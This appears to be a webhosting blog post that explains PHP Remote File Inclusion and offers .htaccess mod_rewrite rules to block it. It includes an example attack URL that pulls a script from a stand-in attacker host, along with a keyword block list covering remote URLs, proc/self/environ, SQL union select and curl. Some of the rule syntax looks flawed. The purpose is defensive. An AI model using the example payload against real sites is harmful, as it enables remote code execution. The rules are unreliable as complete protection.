RFI – Remote File Inclusion (or “nesting” – though last term is not so widely used, and it’s not the same as XSS I beleive) is very serious security threat – especially in webhosting environment where there is no time and manpower available to audit and vet all customers PHP scripts. Let’s see if there are other ways to reduce the threat
What is this dangerous RFI attack anyway?
The mechanism of the attack is very simple
For example, some fancy CMS you just installed on your webhosting account, uses URLs like this
http://www.yoursite.com/cms/index.php?page=anotherpage.php
where index.php is some kind of wrapper, that prepares the environment and then executes the script from anotherpage.php.
In some cases URL query string is not sanitized by the developers, so what hacker can do is just manually type in something like
http://www.yoursite.com/cms/index.php?page=http://evilsite.net/hack.php.txt
And some script you never seen in your life is executed under your hosting account privileges on your web site.
Unpleasant picture, isn’t it?
More over there are plenty of automated scanners that are trying to find insecure scripts…
There is a “quick and dirty” way to reduce the possibility of such attacks without auditing all PHP scripts (especially if the scripts are encoded there is just no way to do the security audit) – adding .htaccess mod_rewrite rules that could reduce the possibility of attack ( there is no 100% protection).
There are 2 drawbacks in such approach
- Rewrite rules take time to process – matching QUERY_STRING against small set of keywords wouldn’t take much but on busy site it could possibly add to request processing time (depending on the server speed and your definition of busy – YMMV)
- There are possibilities of “false alarms” – some times keywords are matched by perfectly innocent QUERY_STRING.
I’ve put together this generic Anti RFI .htaccess, from information picked up here and there – whoever will recognize his line in it has my gratitude. I also would like to ask you to apply your experience and skills to help me to improve these rules and reduce potential problems and incompatibilities.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
<IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{QUERY_STRING} (\|%3E) [NC,OR] RewriteCond %{QUERY_STRING} ^.*=(ht)|(f)|(sf)+(tp)+(://|s://)+.*(\?\?)+ [NC,OR] RewriteCond %{QUERY_STRING} !redirect_to [NC] RewriteCond %{QUERY_STRING} !continue [NC] RewriteCond %{QUERY_STRING} .*=http.*(\:|%3A) [NC,OR] RewriteCond %{QUERY_STRING} .*=https.*(\:|%3A) [NC,OR] RewriteCond %{QUERY_STRING} .*=ftp.*(\:|%3A) [NC,OR] RewriteCond %{QUERY_STRING} .*=sftp.*(\:|%3A) [NC,OR] RewriteCond %{QUERY_STRING} .*jos_.* [NC,OR] RewriteCond %{QUERY_STRING} .*users\+where\+gid.* [NC,OR] RewriteCond %{QUERY_STRING} .*proc/self/environ.* [NC,OR] RewriteCond %{QUERY_STRING} .*union\+select.* [NC,OR] RewriteCond %{QUERY_STRING} .*perl\+.* [NC,OR] RewriteCond %{QUERY_STRING} .*curl\+.* [NC,OR] RewriteCond %{QUERY_STRING} .*SQL.* [NC,OR] RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR] RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) # people/bots trying to exploit the site are not welcome # let them go their "own" way #RewriteRule ^(.*)$ / [F,L] RewriteRule .* http://frost.de/trap.php [R,L] </IfModule> |
Now 2 last lines are “blue or red pill” – you decide which line to use .
First choice – blue pill – you don’t like what they are trying with your site but you are a kind soul -just sending invalid request to your site front page
Second choice – red pill – you are sending the intruder the the trap script that will generate some page forever and in case the probe was done by scanning bot, will lock the bot on that trap page. And this option makes it a little bit easier to debug – catching these “false positives” that can possibly break perfectly working site.
0 Comments.